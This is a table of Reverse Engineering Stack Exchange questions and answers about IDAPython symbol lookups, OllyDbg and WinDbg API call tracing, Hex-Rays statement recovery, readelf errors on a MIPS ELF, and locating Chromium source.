Answer
stringlengths 38
29k
⌀ | Id
stringlengths 1
5
| CreationDate
stringlengths 23
23
| Body
stringlengths 55
28.6k
| Title
stringlengths 15
145
| Tags
stringlengths 3
68
|
---|---|---|---|---|---|
<p>As far as I understood your question, you will need the following IDAPython apis:</p>
<ul>
<li>Getting a content from specific memory address : idc.Dword(address) or idc.Qword(address) - you should choose the function according to the pointer size.</li>
<li>Obtaining a name of the address: idc.Name(address)</li>
</ul>
<p>All the mentioned IDAPython apis has the similar things in idc </p>
<p>So, for your specific example you'll get the desired output as follows (IDAPython):</p>
<pre><code>import idc
addresses = [0x804a018, 0x804a01dc ,0x804a020 ]
for a in addresses:
print hex(a)," : ", idc.Name(idc.Dword(a))
</code></pre>
<p>Filtering the data in the .data section is completely different story.</p>
<p>For example you can do the following (it is not 100% correct):</p>
<pre><code>import idc
segstart = your_code_segment_start
segend = your_code_segment_end
ptrstep = your_system_pointer_size_in_bytes
for a in range(segstart, segend, ptrstep):
data = idc.Dword(a) #replace with qword if working with 64 bit)
if a < segstart or a >= segend:
continue
if not idc.Name(data) is None:
print hex(a), " --> ", idc.Name(data)
</code></pre>
|
8628
|
2015-04-03T02:17:36.580
|
<p>I want to collect all the IDA recovered symbol information in data sections (this information could be <strong>function name</strong>, or it could be <strong>an entry of jump table</strong>, or it could be a <strong>reference to other data sections</strong>).</p>
<p>Here is an example of data sections from a IDA disassembled binary. </p>
<p><img src="https://i.stack.imgur.com/jKc9B.png" alt="enter image description here"></p>
<p>Basically there are three recovered symbols in data section, and I want to collect these information in a format like this:</p>
<pre><code>0x804a018 : sub_804847b
0x804a01dc : _strchr
0x804a020 : sub_80484AE
</code></pre>
<p>I am thinking to traverse all the memory address of a binary's data sections, and check the content of each address, to see whether it is a recovered symbol. </p>
<p>But basically how to read a suspicious symbol when iterating addresses? I read the <a href="https://www.hex-rays.com/products/ida/support/idadoc/162.shtml" rel="nofollow noreferrer"><code>idc</code></a> interface, but I just cannot find any the correct api to do so. Could anyone help me on this issue? I appreciate that.</p>
<p>------------------------ explain ------------------------</p>
<p>I didn't get an answer in that post, in addition, I think what I explained in that post is somehow misleading.</p>
|
How to get the recovered memory references in IDA-Pro?
|
|ida|idapython|symbols|
|
<p>the latest version is available in blog entry </p>
<p><a href="https://www.openrce.org/repositories/users/anonymouse/ModifiedCommandLinePluginWithChildDbg_Date_16082008.rar" rel="nofollow noreferrer">https://www.openrce.org/repositories/users/anonymouse/ModifiedCommandLinePluginWithChildDbg_Date_16082008.rar</a> </p>
<p>if the link did not work you can download a modified version of the plugin with an additional command <strong>.writemem</strong> compiler has been changed to vc++ and old code modified to suit vc++ so the functionality of old commands not tested use it cautiously. i have tested only the .writemem functionality</p>
<p>some background for the additional command can be found here
<a href="https://stackoverflow.com/questions/28488750/how-to-automate-task-in-ollydbg-using-ollyscript-or-any-other-tool/28556003#28556003">https://stackoverflow.com/questions/28488750/how-to-automate-task-in-ollydbg-using-ollyscript-or-any-other-tool/28556003#28556003</a></p>
<p><a href="http://wikisend.com/download/750442/cmdline.dll" rel="nofollow noreferrer">http://wikisend.com/download/750442/cmdline.dll</a></p>
|
8630
|
2015-04-03T20:40:53.353
|
<p>I need to analyse a sample which creates a child process. I want to analyze the child process, too, but I have the following problem. Therefore, I take the command line plugin for my olldbg v1.10 and type the following command:</p>
<pre><code>childdbg 1
</code></pre>
<p>(that is also described at <a href="https://stackoverflow.com/questions/21695192/can-ollydbg-trace-a-launched-exe">https://stackoverflow.com/questions/21695192/can-ollydbg-trace-a-launched-exe</a> by blabb )</p>
<p>But the plugin says:</p>
<pre><code> Unrecognized command: CHILDDBG
</code></pre>
<p>Why this appears? How can I fix it ?</p>
<p>PS:
Before somebody recommend me to use ollydbg v2.01 (because it has a built-in option to debug a child process), I can say that I can not open the sample with ollydb v2.01 but this is a topic which I asked here: <a href="https://reverseengineering.stackexchange.com/questions/8614/getting-a-debug-message-after-opening-a-sample-with-ollydbg-2-01?noredirect=1#comment12249_8614">"Debugged application has modified the debugging registers" with ollydbg 2.01</a></p>
<p>best regards, </p>
|
Command for Command line plugin does not work
|
|ollydbg|process|plugin|command-line|error|
|
<blockquote>
<ol>
<li>Is there any plugins that can recover if/else statement? It looks easier than loop, but I just cannot find a well-developed way to
recover the statement.</li>
</ol>
</blockquote>
<p>Yes, the <a href="https://www.hex-rays.com/products/decompiler/index.shtml" rel="nofollow">Hex-Rays Decompiler</a> recovers if/else statements.</p>
<blockquote>
<ol start="2">
<li>Is there anyway/api/scripts to iterate C statements in IDA-Pro? Or I have to implement myself?</li>
</ol>
</blockquote>
<p>Yes, the <a href="https://www.hex-rays.com/products/decompiler/sdk.shtml" rel="nofollow">Hex-Rays SDK</a> allows you to iterate the items (including if-else statements) in a decompilation tree.</p>
|
8638
|
2015-04-05T18:28:47.347
|
<p>I am trying to iterate all the C <code>statement</code> (could be very coarse-grained, it's fine) in IDA-Pro recovered assembly program. </p>
<p>Suppose I only consider these statements:</p>
<pre><code>State :: =
| if-else cond;
| loop;
| assignment;
| function call
| return
| {s1; s2; s3 ...}
</code></pre>
<p>And after some quick search, I know that there are some (third-party) plugins that can help to identify some <code>C</code> control-flow structure, and I list some of them below:</p>
<p>if-else cond : N/A</p>
<p>loop : <a href="https://reverseengineering.stackexchange.com/questions/6175/idapython-find-functions-that-contain-a-loop/6176#6176">link1</a> <a href="https://hex-rays.com/contests/2011/index.shtml" rel="nofollow noreferrer">link2</a> <a href="http://old.idapalace.net/papers/loopdetection.pdf" rel="nofollow noreferrer">link3</a></p>
<p>So my questions are:</p>
<ol>
<li><p>Is there any plugins that can recover if/else statement? It looks easier than loop, but I just cannot find a well-developed way to recover the statement.</p></li>
<li><p>Is there anyway/api/scripts to iterate C statements in IDA-Pro? Or I have to implement myself?</p></li>
</ol>
<p>Ideally it should look like this as this is essentially used in source code analysis... (sorry for this pseudo code, I just want to clarify)</p>
<pre><code>let aux s =
match s with
| If e1 b1 b2 -> analyze e1 b1 b2
| Loop e1 e2 e3 b1 -> analyze e1 e2 e3 b1
| Assign v1 v2 -> analyze v1 v2
| States sl -> List.iter analyze sl
| ... in
List.iter aux statement_list
...
</code></pre>
|
Is there anyway I can iterate all the C-level statements in IDA-Pro?
|
|ida|binary-analysis|ida-plugin|idapython|static-analysis|
|
<p>ollydbg -> search for all intermodular calls -> in the new window -> set log break point radio button pause to never , log function argument to always ok </p>
<p>you should see all the lib functions breakpointed in pink </p>
<p>f9 to run the application </p>
<p>on exit look at log window for all the calls that were made to other modules from executab;e</p>
<pre><code>Log data
Message
Program entry point
CALL to GetSystemTimeAsFileTime
pFileTime = 0013FFB4
CALL to GetCurrentProcessId
CALL to GetCurrentThreadId
CALL to GetTickCount
CALL to QueryPerformanceCounter
pPerformanceCount = 0013FFAC
CALL to HeapCreate
Flags = 0
InitialSize = 1000 (4096.)
MaximumSize = 0
CALL to GetModuleHandleW
pModule = "KERNEL32.DLL"
CALL to GetProcAddress
hModule = 7C800000 (kernel32)
ProcNameOrOrdinal = "FlsAlloc"
CALL to GetProcAddress
hModule = 7C800000 (kernel32)
ProcNameOrOrdinal = "FlsGetValue"
CALL to GetProcAddress
hModule = 7C800000 (kernel32)
ProcNameOrOrdinal = "FlsSetValue"
CALL to GetProcAddress
hModule = 7C800000 (kernel32)
ProcNameOrOrdinal = "FlsFree"
CALL to TlsAlloc
CALL to TlsSetValue
TlsIndex = 1
pValue = kernel32.TlsGetValue
CALL to TlsAlloc
CALL to HeapAlloc
hHeap = 00350000
Flags = HEAP_ZERO_MEMORY
</code></pre>
<p>windbg </p>
<p><strong>cdb -c "!logexts.loge;!logm i *;!loge;!logo e d;g;q" msgboxw.exe > trace.txt & grep MessageBoxW trace.txt</strong></p>
<pre><code>Thrd 3c4 00401017 MessageBoxW( NULL "cannot find "hello"" "test"MB_OK) -> IDOK
Thrd 3c4 0040102B MessageBoxW( NULL "cannot find "iello"" "test"MB_OK) -> IDOK
Thrd 3c4 0040103F MessageBoxW( NULL "cannot find "jello"" "test"MB_OK) -> IDOK
Thrd 3c4 00401053 MessageBoxW( NULL "cannot find "fello"" "test"MB_OK) -> IDOK
Thrd 3c4 00401067 MessageBoxW( NULL "cannot find "kello"" "test"MB_OK) -> IDOK
Thrd 3c4 0040107B MessageBoxW( NULL "saying "hello" baby" "test"MB_OK) -> IDOK
</code></pre>
|
8644
|
2015-04-06T09:10:39.123
|
<p>I recently found the program: ltrace. And was wondering if it's possible to achieve the same using one of the gui debuggers for windows: ida, immunity, etc. The only thing I've found is a port of the cmdline util. Which is perfectly fine, but it would be convenient if I could do the same using, say ida.</p>
<p>Tldr; Trace library calls using a windows debugger/disassembler.</p>
<p>Thanks for the quick response and the examples. Got everything I needed.</p>
|
Windows debugger with ltrace functionality
|
|ida|windows|debuggers|immunity-debugger|
|
<p>This file is completely valid ELF, but you have a problem with the toolchain.
You should check correctness of its setup.</p>
<p>In addition if you don't have the hardware you can use <a href="http://wiki.qemu.org/Main_Page" rel="nofollow">qemu</a> to run it.
There is also <a href="http://landley.net/aboriginal/" rel="nofollow">aboriginal</a> toolchain that you can try to use.</p>
<p>Output of the readelf should be as follows:</p>
<pre><code>mips-unknown-nto-qnx6.5.0-readelf -a ~/Downloads/myelf
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x400670
Start of program headers: 52 (bytes into file)
Start of section headers: 4132 (bytes into file)
Flags: 0x1007, noreorder, pic, cpic, o32, mips1
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 30
Section header string table index: 29
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 00400154 000154 00000d 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 00400164 000164 000020 00 A 0 0 4
[ 3] .reginfo MIPS_REGINFO 00400184 000184 000018 18 A 0 0 4
[ 4] .note.gnu.build-i NOTE 0040019c 00019c 000024 00 A 0 0 4
[ 5] .dynamic DYNAMIC 004001c0 0001c0 0000d8 08 A 8 0 4
[ 6] .hash HASH 00400298 000298 0000a4 04 A 7 0 4
[ 7] .dynsym DYNSYM 0040033c 00033c 000160 10 A 8 1 4
[ 8] .dynstr STRTAB 0040049c 00049c 0000df 00 A 0 0 1
[ 9] .gnu.version VERSYM 0040057c 00057c 00002c 02 A 7 0 2
[10] .gnu.version_r VERNEED 004005a8 0005a8 000030 00 A 8 1 4
[11] .init PROGBITS 004005d8 0005d8 000090 00 AX 0 0 4
[12] .text PROGBITS 00400670 000670 000490 00 AX 0 0 16
[13] .MIPS.stubs PROGBITS 00400b00 000b00 0000a0 00 AX 0 0 4
[14] .fini PROGBITS 00400ba0 000ba0 00004c 00 AX 0 0 4
[15] .rodata PROGBITS 00400bec 000bec 000040 00 A 0 0 4
[16] .eh_frame PROGBITS 00400c2c 000c2c 000004 00 A 0 0 4
[17] .ctors PROGBITS 00410c30 000c30 00000c 00 WA 0 0 4
[18] .dtors PROGBITS 00410c3c 000c3c 000008 00 WA 0 0 4
[19] .jcr PROGBITS 00410c44 000c44 000004 00 WA 0 0 4
[20] .data PROGBITS 00410c50 000c50 0001b0 00 WA 0 0 16
[21] .rld_map PROGBITS 00410e00 000e00 000004 00 WA 0 0 4
[22] .got PROGBITS 00410e10 000e10 00005c 04 WAp 0 0 16
[23] .sdata PROGBITS 00410e6c 000e6c 000004 00 WAp 0 0 4
[24] .bss NOBITS 00410e70 000e70 000010 00 WA 0 0 16
[25] .pdr PROGBITS 00000000 000e70 000080 00 0 0 4
[26] .comment PROGBITS 00000000 000ef0 00001c 01 MS 0 0 1
[27] .gnu.attributes LOOS+ffffff5 00000000 000f0c 000010 00 0 0 1
[28] .mdebug.abi32 PROGBITS 00000070 000f1c 000000 00 0 0 1
[29] .shstrtab STRTAB 00000000 000f1c 000107 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
There are no section groups in this file.
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x00400034 0x00400034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x00400154 0x00400154 0x0000d 0x0000d R 0x1
[Requesting program interpreter: /lib/ld.so.1]
REGINFO 0x000184 0x00400184 0x00400184 0x00018 0x00018 R 0x4
LOAD 0x000000 0x00400000 0x00400000 0x00c30 0x00c30 R E 0x10000
LOAD 0x000c30 0x00410c30 0x00410c30 0x00240 0x00250 RW 0x10000
DYNAMIC 0x0001c0 0x004001c0 0x004001c0 0x000d8 0x000d8 RWE 0x4
NOTE 0x000164 0x00400164 0x00400164 0x00020 0x00020 R 0x4
NOTE 0x00019c 0x0040019c 0x0040019c 0x00024 0x00024 R 0x4
NULL 0x000000 0x00000000 0x00000000 0x00000 0x00000 0x4
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .reginfo
03 .interp .note.ABI-tag .reginfo .note.gnu.build-id .dynamic .hash .dynsym .dynstr .gnu.version .gnu.version_r .init .text .MIPS.stubs .fini .rodata .eh_frame
04 .ctors .dtors .jcr .data .rld_map .got .sdata .bss
05 .dynamic
06 .note.ABI-tag
07 .note.gnu.build-id
08
Dynamic section at offset 0x1c0 contains 22 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x4005d8
0x0000000d (FINI) 0x400ba0
0x00000004 (HASH) 0x400298
0x00000005 (STRTAB) 0x40049c
0x00000006 (SYMTAB) 0x40033c
0x0000000a (STRSZ) 223 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x70000016 (MIPS_RLD_MAP) 0x410e00
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x410e10
0x70000001 (MIPS_RLD_VERSION) 1
0x70000005 (MIPS_FLAGS) NOTPOT
0x70000006 (MIPS_BASE_ADDRESS) 0x400000
0x7000000a (MIPS_LOCAL_GOTNO) 7
0x70000011 (MIPS_SYMTABNO) 22
0x70000012 (MIPS_UNREFEXTNO) 29
0x70000013 (MIPS_GOTSYM) 0x6
0x6ffffffe (VERNEED) 0x4005a8
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x40057c
0x00000000 (NULL) 0x0
There are no relocations in this file.
There are no unwind sections in this file.
Symbol table '.dynsym' contains 22 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000001 0 SECTION GLOBAL DEFAULT ABS _DYNAMIC_LINKING
2: 00400bec 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used
3: 00000000 0 OBJECT WEAK DEFAULT UND environ@GLIBC_2.0 (2)
4: 00000000 0 OBJECT WEAK DEFAULT UND _environ@GLIBC_2.0 (2)
5: 00410e00 0 OBJECT GLOBAL DEFAULT 21 __RLD_MAP
6: 004005d8 0 FUNC GLOBAL DEFAULT 11 _init
7: 004007b0 320 FUNC GLOBAL DEFAULT 12 main
8: 00400b80 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.0 (2)
9: 00400b70 0 FUNC GLOBAL DEFAULT UND cbc_crypt@GLIBC_2.2 (3)
10: 00400b60 0 FUNC GLOBAL DEFAULT UND munmap@GLIBC_2.0 (2)
11: 00000000 0 OBJECT GLOBAL DEFAULT UND __environ@GLIBC_2.0 (2)
12: 00400b50 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
13: 004009e8 176 FUNC GLOBAL DEFAULT 12 __libc_csu_init
14: 00400b40 0 FUNC GLOBAL DEFAULT UND memcpy@GLIBC_2.0 (2)
15: 00400b30 0 FUNC GLOBAL DEFAULT UND mprotect@GLIBC_2.0 (2)
16: 00400b20 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
17: 00400b10 0 FUNC GLOBAL DEFAULT UND ptrace@GLIBC_2.0 (2)
18: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
19: 00000000 0 FUNC WEAK DEFAULT UND __gmon_start__
20: 004009e0 8 FUNC GLOBAL DEFAULT 12 __libc_csu_fini
21: 00400b00 0 FUNC GLOBAL DEFAULT UND mmap@GLIBC_2.0 (2)
Histogram for bucket list length (total of 17 buckets):
Length Number % of total Coverage
0 5 ( 29.4%)
1 7 ( 41.2%) 33.3%
2 3 ( 17.6%) 61.9%
3 1 ( 5.9%) 76.2%
4 0 ( 0.0%) 76.2%
5 1 ( 5.9%) 100.0%
Version symbols section '.gnu.version' contains 22 entries:
Addr: 000000000040057c Offset: 0x00057c Link: 7 (.dynsym)
000: 0 (*local*) 1 (*global*) 1 (*global*) 2 (GLIBC_2.0)
004: 2 (GLIBC_2.0) 1 (*global*) 1 (*global*) 1 (*global*)
008: 2 (GLIBC_2.0) 3 (GLIBC_2.2) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
00c: 2 (GLIBC_2.0) 1 (*global*) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
010: 2 (GLIBC_2.0) 2 (GLIBC_2.0) 0 (*local*) 0 (*local*)
014: 1 (*global*) 2 (GLIBC_2.0)
Version needs section '.gnu.version_r' contains 1 entries:
Addr: 0x00000000004005a8 Offset: 0x0005a8 Link: 8 (.dynstr)
000000: Version: 1 File: libc.so.6 Cnt: 2
0x0010: Name: GLIBC_2.2 Flags: none Version: 3
0x0020: Name: GLIBC_2.0 Flags: none Version: 2
Notes at offset 0x00000164 with length 0x00000020:
Owner Data size Description
GNU 0x00000010 NT_GNU_ABI_TAG (ABI version tag)
Notes at offset 0x0000019c with length 0x00000024:
Owner Data size Description
GNU 0x00000014 NT_GNU_BUILD_ID (unique build ID bitstring)
Attribute Section: gnu
File Attributes
Tag_GNU_MIPS_ABI_FP: Hard float (-mdouble-float)
Primary GOT:
Canonical gp value: 00418e00
Reserved entries:
Address Access Initial Purpose
00410e10 -32752(gp) 00000000 Lazy resolver
00410e14 -32748(gp) 80000000 Module pointer (GNU extension)
Local entries:
Address Access Initial
00410e18 -32744(gp) 00400000
00410e1c -32740(gp) 00410c30
00410e20 -32736(gp) 00000000
00410e24 -32732(gp) 00000000
00410e28 -32728(gp) 00000000
Global entries:
Address Access Initial Sym.Val. Type Ndx Name
00410e2c -32724(gp) 004005d8 004005d8 FUNC 11 _init
00410e30 -32720(gp) 004007b0 004007b0 FUNC 12 main
00410e34 -32716(gp) 00400b80 00400b80 FUNC UND exit
00410e38 -32712(gp) 00400b70 00400b70 FUNC UND cbc_crypt
00410e3c -32708(gp) 00400b60 00400b60 FUNC UND munmap
00410e40 -32704(gp) 00000000 00000000 OBJECT UND __environ
00410e44 -32700(gp) 00400b50 00400b50 FUNC UND puts
00410e48 -32696(gp) 004009e8 004009e8 FUNC 12 __libc_csu_init
00410e4c -32692(gp) 00400b40 00400b40 FUNC UND memcpy
00410e50 -32688(gp) 00400b30 00400b30 FUNC UND mprotect
00410e54 -32684(gp) 00400b20 00400b20 FUNC UND __libc_start_main
00410e58 -32680(gp) 00400b10 00400b10 FUNC UND ptrace
00410e5c -32676(gp) 00000000 00000000 NOTYPE UND _Jv_RegisterClasses
00410e60 -32672(gp) 00000000 00000000 FUNC UND __gmon_start__
00410e64 -32668(gp) 004009e0 004009e0 FUNC 12 __libc_csu_fini
00410e68 -32664(gp) 00400b00 00400b00 FUNC UND mmap
</code></pre>
|
8647
|
2015-04-06T17:20:07.740
|
<p>So i want to disassemble and then run a MIPS elf file for the first time. As i don't have MIPS hardware i am using mipsel-unknown-linux-gnu toolchain.Here comes the problem. The output of the command file myelf is:</p>
<pre><code>ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked (uses shared libs), stripped
</code></pre>
<p>But when i try to disassemble the file i get:</p>
<pre><code>mipsel-unknown-linux-gnu-objdump: myelf: File format not recognized
</code></pre>
<p>I get the same error when i want to run it or to debug it. But if i write a small program in MIPS assembly (using an edit and mipsel-unknown-linux-gnu-as as assembler and mipsel-unknown-linux-gnu-ld as a linker) i can run it and debug it so i'm sure the problem comes from myelf file. Actually i can disassemble myelf with IDA but i want to follow the execution using gdb under linux.</p>
<p>Then i did a readelf and this is the output of mipsel-unknown-linux--u-readelf -a myelf:</p>
<pre><code>ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x400670
Start of program headers: 52 (bytes into file)
Start of section headers: 4132 (bytes into file)
Flags: 0x1007, noreorder, pic, cpic, o32, mips1
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 30
Section header string table index: 29
readelf: Error: Unable to read in 0x69737265 bytes of string table
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] <no-name> LOUSER+6f0fbdbf bdbfefbd bdbfef3b f286821 bfef4abd WAXxMSLOTxxxxxxxxop 1992146927 4022190063 3220159935
readelf: Warning: section 0: sh_link value of 1992146927 is larger than the number of sections
[ 1] <no-name> 09bdbfef: <unkn bfefbdbf bfef58bd ef3d6ebd ef5d6e20 WAXxSILOGTxxxxxxxop 3220159935 3220134333 1483756221
readelf: Warning: section 1: sh_link value of 3220159935 is larger than the number of sections
[ 2] <no-name> LOUSER+3dbfefbd bfef1257 ef1e67bd bfefbdbf efbdbfef WAXIOGTxxxxxxxxop 3183472573 1589493743 3183472479
readelf: Warning: section 2: sh_link value of 3183472573 is larger than the number of sections
[ 3] <no-name> LOUSER+3fefbdbf bfef35bd bfef51bd bfef07bd bdbfef38 WXxMSLOGxxxxxxop 4017489853 1393212863 498974703
readelf: Warning: section 3: sh_link value of 4017489853 is larger than the number of sections
[ 4] <no-name> LOUSER+3dbfef7c 25bdbfef 44bdbfef efbdbfef efbdbfef WAXOGTxxxxxxxxop 4013997503 4014390719 1532607935
readelf: Warning: section 4: sh_link value of 4013997503 is larger than the number of sections
[ 5] <no-name> LOUSER+6f17bdbf bfef1fbd ef3d6dbd 2b4ebdbf ef3a332c WAXxMSLOTxxxxxxxxop 700301295 3183472475 3183472441
readelf: Warning: section 5: sh_link value of 700301295 is larger than the number of sections
[ 6] <no-name> LOUSER+6f15bdbf ef0f15bd bfefbdbf bdbfefbd bfef4e90 WAXxMSLOTxxxxxxxxop 3220132880 3220113853 3661197501
readelf: Warning: section 6: sh_link value of 3220132880 is larger than the number of sections
[ 7] <no-name> LOUSER+6f1c2e62 64bdbfef 4a3d369 ef603c51 ef40bdbf WAXxMSLOTxxxxxxop 1366867391 700301295 4011659522
readelf: Warning: section 7: sh_link value of 1366867391 is larger than the number of sections
[ 8] <no-name> 4c2cbdbf: <unkn bdbfefbd bfef3c4f ef476cbd ef1d10bd AXMSIOGTxxxxxxop 386514367 3183472428 3220142970
readelf: Warning: section 8: sh_link value of 386514367 is larger than the number of sections
[ 9] <no-name> LOUSER+24c2bdbf 42781f57 efb4a5e5 bfefbdbf 716bdbf WAXxSILOGTxxxxxxxop 3183472573 4012516894 4016422335
readelf: Warning: section 9: sh_link value of 3183472573 is larger than the number of sections
[10] <no-name> LOUSER+3fefbdbf 476e0abd 18bdbfef bdbfef32 4bdbfef WXxMSLGxxxxxxop 3183472447 4022190063 525516223
readelf: Warning: section 10: sh_link value of 3183472447 is larger than the number of sections
[11] <no-name> LOUSER+3dbfef0f bdbfef35 ef5a2137 5415bdbf efbdbfef AMIOGTxxxxxxxxop 3220117023 3183472573 3183472496
readelf: Warning: section 11: sh_link value of 3220117023 is larger than the number of sections
[12] <no-name> LOUSER+3dbfefbd 80dc78ae efbdbfef bfefbdbf bdbfefbd AXxTxxxop 3220115133 4015879101 3220159935
readelf: Warning: section 12: sh_link value of 3220115133 is larger than the number of sections
[13] <no-name> LOUSER+3dbfef4a cf6622bd bdbfef89 77bdbfef ef714abd WASIOTxxxxxop 3220122624 3220140989 3220129981
readelf: Warning: section 13: sh_link value of 3220122624 is larger than the number of sections
[14] <no-name> LOUSER+6f202b35 5b1a78bd efbdbfef bfefbdbf ef37bdbf WAXxMSLOTxxxxxxxxop 3183472573 3183472489 4022190063
readelf: Warning: section 14: sh_link value of 3183472573 is larger than the number of sections
[15] <no-name> 2a0e3fbd: <unkn efbdbfef ef3abdbf ef15bdbf bfefbdbf WxOGTxxxxxxxxop 4013014463 4012883391 4014063039
readelf: Warning: section 15: sh_link value of 4013014463 is larger than the number of sections
[16] <no-name> LOUSER+6fbdbfef bfefbdbf bdbfefbd 3fbdbfef ef0961bd WAXxMSLOTxxxxxxop 1899399115 3183472494 3220112411
readelf: Warning: section 16: sh_link value of 1899399115 is larger than the number of sections
[17] <no-name> 185a7404: <unkn 0038bdbf 4abdbfef bdbfef09 9631ebd WAXxMSOGxxxxop 985513967 4010489125 3220159935
readelf: Warning: section 17: sh_link value of 985513967 is larger than the number of sections
[18] <no-name> LOUSER+6fa4db38 00bdbfef 000000 000000 bfef0000 WAXxMSLOTxxxxxop 0 0 0
[19] <no-name> 410c3000: <unkn 00000000 000000 bdbfef00 7000400b 4009771013 1074249151 3183472384
readelf: Warning: section 19: sh_link value of 4009771013 is larger than the number of sections
[20] <no-name> 0000400b: <unkn ef00400b 4009bdbf 400b4000 00 p 1074475008 1074470912 1074466816
readelf: Warning: section 20: sh_link value of 1074475008 is larger than the number of sections
[21] <no-name> LOUSER+3dbfef00 0000400b ef000000 4007bdbf bdbfefbd Wxx 117440512 4022190063 3220159935
readelf: Warning: section 21: sh_link value of 117440512 is larger than the number of sections
[22] <no-name> NULL 1d000000 1f000000 ef000000 bfefbdbf p 1074314687 0 4022190063
readelf: Warning: section 22: sh_link value of 1074314687 is larger than the number of sections
[23] <no-name> 00bdbfef: <unkn 20000000 1d000000 1f000000 00 4009754624 1074380223 0
readelf: Warning: section 23: sh_link value of 4009754624 is larger than the number of sections
[24] <no-name> NULL 00001d00 001f00 bdbfef00 efbdbfef 16393 3220127488 3183472573
readelf: Warning: section 24: sh_link value of 16393 is larger than the number of sections
[25] <no-name> 000000bd: <unkn 00003800 001d00 001f00 2e34206e 1128482560 1143480378 1634296421
readelf: Warning: section 25: sh_link value of 1128482560 is larger than the number of sections
[26] <no-name> 34202938: <unkn 000f4100 6e670000 7010075 626174 AXxSTxxxxxop 67108864 1932394497 1920234344
readelf: Warning: section 26: sh_link value of 67108864 is larger than the number of sections
[27] <no-name> 00707265: <unkn 42412e65 61742d49 722e0067 756e672e AXxSGTxxxxxxxop 1852401509 771780454 1702129518
readelf: Warning: section 27: sh_link value of 1852401509 is larger than the number of sections
[28] <no-name> LOOS+92d646c 6d616e79 2e006369 68736168 7274736e XSIxxxop 2036608512 1836675950 2036608512
readelf: Warning: section 28: sh_link value of 2036608512 is larger than the number of sections
[29] <no-name> LOOS+5762e75 672e006e 762e756e 69737265 74786574 AMSIOGxxxxxop 1918856815 1852386816 771781737
readelf: Warning: section 29: sh_link value of 1918856815 is larger than the number of sections
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
There are no section groups in this file.
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x00400034 0x00400034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x00400154 0x00400154 0x0000a 0x0000a R 0x1
[Requesting program interpreter: ]
REGINFO 0x1bdbfef 0xbfef0000 0x004001bd 0x1bdbfef 0x180040 0x40000
<unknown>: 400 0x010000 0x00000000 0x00000000 0x00040 0xc300040 0x50000
NULL 0x010001 0x0c300000 0x0c300000 0xc300041 0x2400041 0x60000
NULL 0x020001 0xbfef0000 0x000001bd 0x1bdbfef 0xbfef0040 R E 0xbdbfef
<unknown>: bfe 0x0000bd 0x00000007 0x00000004 0x00004 0x00164 R 0x400164
<unknown>: 20 0x000020 0x00000004 0x00000004 0x00004 0x1bdbfef 0x4001bd
<unknown>: 1bd 0x240040 0x00240000 0x00040000 0x40000 0x00000 0
There is no dynamic section in this file.
There are no relocations in this file.
The decoding of unwind sections for machine type MIPS R3000 is not currently supported.
No version information found in this file.
</code></pre>
<p>As it's a project from a school dealing with reverse engineering, the elf file may be corrupted or not. I have no idea from what the problem could come from. You can download myelf file from this <a href="https://bitbucket.org/Nomyo/reverse-engineering/downloads" rel="nofollow">link</a>. Thank you.</p>
<p>Anyone have encountered this kind of error or any suggestions ? </p>
|
How to disassemble/run mips ELF file ? (with readelf error)
|
|disassembly|linux|elf|mips|
|
<p>Chrome != Chromium. <a href="http://en.wikipedia.org/wiki/Chromium_%28web_browser%29#Differences_from_Google_Chrome" rel="nofollow">Google makes several changes to the Chromium code base before building Chrome.</a> This may be one of the changes.</p>
<p>Nonetheless, the snapshot for the 41.0.2272.89 version of Chromium can be found here: <a href="https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89" rel="nofollow">https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89</a></p>
